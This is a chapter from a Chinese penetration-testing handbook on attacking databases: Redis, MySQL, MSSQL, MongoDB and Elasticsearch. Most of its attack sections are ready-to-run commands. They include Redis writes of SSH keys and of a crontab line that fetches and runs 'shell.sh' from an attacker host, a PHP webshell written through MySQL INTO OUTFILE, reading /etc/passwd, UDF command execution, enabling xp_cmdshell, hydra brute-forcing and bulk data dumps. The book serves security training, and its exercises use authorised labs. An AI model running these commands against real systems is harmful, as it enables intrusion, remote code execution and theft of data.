逆向工程实战手册 第 85 章

第 85 章 数据库安全渗透(Redis / MySQL / MSSQL / NoSQL)

数据库是内网渗透的"皇冠明珠":数据目标本身 + 数据库经常是提权/横向的跳板。本章覆盖主流数据库的未授权访问、弱口令、利用链(getshell/提权/横移)。数据库攻击的核心认知:很多数据库默认配置"裸奔"(无认证/弱认证),发现即突破。

📍 知识点地图 | 主题:数据库渗透 | 前置:第62章 | 后续:— | 核心概念:Redis getshell、MySQL UDF、MSSQL、NoSQL

85.1 数据库攻击面总览

攻击入口:
  1. 未授权访问(无认证/默认空密码)—— 最常见!
  2. 弱口令(root/root、sa/sa...)
  3. Web 层注入(SQL 注入打到数据库,第 58 章)
  4. 数据库服务漏洞(历史 CVE)
  5. 错误配置(暴露端口/权限过大)

利用目标:
  □ 数据(核心目标)
  □ getshell(写文件/执行命令)
  □ 提权(数据库账户 → 系统账户)
  □ 横向(凭据/链接服务器)

85.2 Redis 未授权访问(最经典的数据库 getshell)

原理

Redis 默认无认证(bind 0.0.0.0 + protected-mode 关闭时)
→ 任何人能连接 → 能写文件/执行 Lua

利用链(getshell 三条路):
  1. 写 SSH 公钥: 写 authorized_keys → SSH 登录
  2. 写 WebShell: 写 web 目录 → 访问执行
  3. 计划任务: 写 crontab → 定时执行(root 权限)

攻击前置:
  □ 目标 Redis 无密码/弱密码
  □ 知道 web 路径或能写 /root/.ssh

利用流程(写 SSH 公钥)

# 1. 连接测试
redis-cli -h <target> -p 6379 info

# 2. 生成密钥并写入
redis-cli -h <target> -p 6379
> config set dir /root/.ssh
> config set dbfilename authorized_keys
> set x "\n\nssh-rsa AAAA... your_key\n\n"
> save

# 3. SSH 登录
ssh -i key root@<target>

利用流程(写计划任务 → root 定时执行)

> config set dir /var/spool/cron/
> config set dbfilename root
> set x "\n*/1 * * * * /bin/bash -c 'curl http://attacker/shell.sh | bash'\n"
> save
# 一分钟后执行(CentOS 系常用)

批量利用工具

# redis-rogue-server(Redis 主从复制 RCE,更通用)
git clone https://github.com/Ridter/redis-rogue-server
python3 redis-rogue-server.py --rhost <target> --rport 6379
# 主从复制 → 加载恶意模块 → 命令执行

85.3 MySQL 渗透

未授权/弱口令

# 弱口令爆破(第 59 章)
hydra -l root -P pass.txt mysql://<target>

# 连接
mysql -h <target> -u root -p

利用链

1. 读文件(secure_file_priv 允许时)
   SELECT LOAD_FILE('/etc/passwd');

2. 写文件 getshell(需 FILE 权限 + 知道 web 路径)
   SELECT '<?php system($_GET[cmd]);?>' INTO OUTFILE '/var/www/html/shell.php';
   # 限制: secure_file_priv 非空(只能写指定目录)

3. 提权(UDF 利用——经典):
   UDF = 用户自定义函数 → 加载恶意 .so → 执行系统命令
   # 条件: MySQL 插件目录可写 + FILE 权限
   # 工具: sqlmap --os-shell 自动完成

4. 读取配置/凭据:
   读取 mysql.user 表哈希(可离线破解)
   读取数据库中的密码/密钥(数据目标)

MySQL 提权(UDF 原理)

1. 编译恶意 UDF .so(sys_exec 函数)
2. 写入 MySQL 插件目录(secure_file_priv/plugin 路径)
3. CREATE FUNCTION sys_exec RETURNS STRING SONAME 'udf.so'
4. SELECT sys_exec('id')   → 命令执行(MySQL 进程权限)

85.4 MSSQL 渗透

特点

□ 默认端口 1433
□ 默认账户 sa(超级管理员)
□ 特性: xp_cmdshell(可直接执行系统命令!)—— 数据库里的 RCE

利用:
1. 弱口令: sa/sa、sa/123456(常见)
2. 连接后直接命令执行:
   EXEC xp_cmdshell 'whoami';        # 执行命令(默认可能禁用,需开启)
   EXEC sp_configure 'show advanced options',1; RECONFIGURE;
   EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;

3. 横向(链接服务器):
   SELECT * FROM OPENQUERY([LINKED_SERVER], 'SELECT @@version');
   # 数据库链接 → 跨库/跨主机横向

4. 工具: impacket-mssqlclient(命令行交互)
   mssqlclient.py sa:pass@<target> -windows-auth

85.5 NoSQL(MongoDB / Elasticsearch)

MongoDB

□ 默认无认证(bind 0.0.0.0 时直接暴露)
□ 利用: 直接连接读全部数据
  mongosh "mongodb://<target>:27017"
  show dbs; use <db>; db.users.find()
□ 安全认知: 大量 MongoDB 裸奔实例(Shodan 可搜)

工具: mongo 客户端 / 自写脚本批量导出

Elasticsearch

□ 默认无认证 + 全端口监听(大量暴露)
□ 利用: 直接访问 API 读数据
  curl http://<target>:9200/_cat/indices
  curl http://<target>:9200/<index>/_search
□ 危险配置: 可写(索引删除/修改)

工具: elasticdump(批量导出)/ 浏览器访问

85.6 数据库渗透通用方法论

1. 发现: 内网扫描(fscan/nmap)找数据库端口
   (3306/6379/1433/27017/9200/5432/1521...)
2. 未授权测试(第一优先): 无密码直接连?
3. 弱口令(第二): 常见默认口令 + 字典
4. 利用(按数据库类型):
   Redis → SSH key/计划任务/主从 RCE
   MySQL → UDF/写文件
   MSSQL → xp_cmdshell/链接服务器
   NoSQL → 直接读数据
5. 数据获取: 枚举库表 → 导出关键数据
6. 横向: 数据库凭据/链接服务器/主机权限

85.7 数据库攻击检查清单

□ 端口发现(6379/3306/1433/27017/9200...)
□ 未授权访问测试
□ 弱口令测试
□ 类型专项利用(Redis/MySQL/MSSQL/NoSQL)
□ getshell 评估(写文件/命令执行)
□ 数据访问(枚举+导出)
□ 提权(数据库→系统)
□ 横向(凭据复用/链接服务器)
□ 报告: 每个发现+影响

动手练习

  1. 在本地搭一个 Redis(改配置模拟未授权),完整走一遍"写 SSH 公钥 → 登录"。
  2. 搭一个 MySQL,练习 UDF getshell(在授权测试环境)。
  3. 用 impacket-mssqlclient 连接一个测试 MSSQL,开启 xp_cmdshell 执行命令。
  4. 用 fscan 扫一个测试网段,找出暴露的数据库端口,做未授权测试。

深入阅读

  • 仓库:skills/pentest-tools/SKILL.md(数据库相关工具:hydra/impacket)
  • 仓库:skills/pentest-tools/references/network-attack-defense.md(内网服务枚举)
  • 仓库:CTF-Sandbox-Orchestrator/competition-identity-windows/(MSSQL 在域环境)
  • 仓库:skills/attack-chain/SKILL.md(数据库提权阶段)
  • 外部: HackTricks 数据库利用章节、Redis/MySQL/MSSQL 攻击研究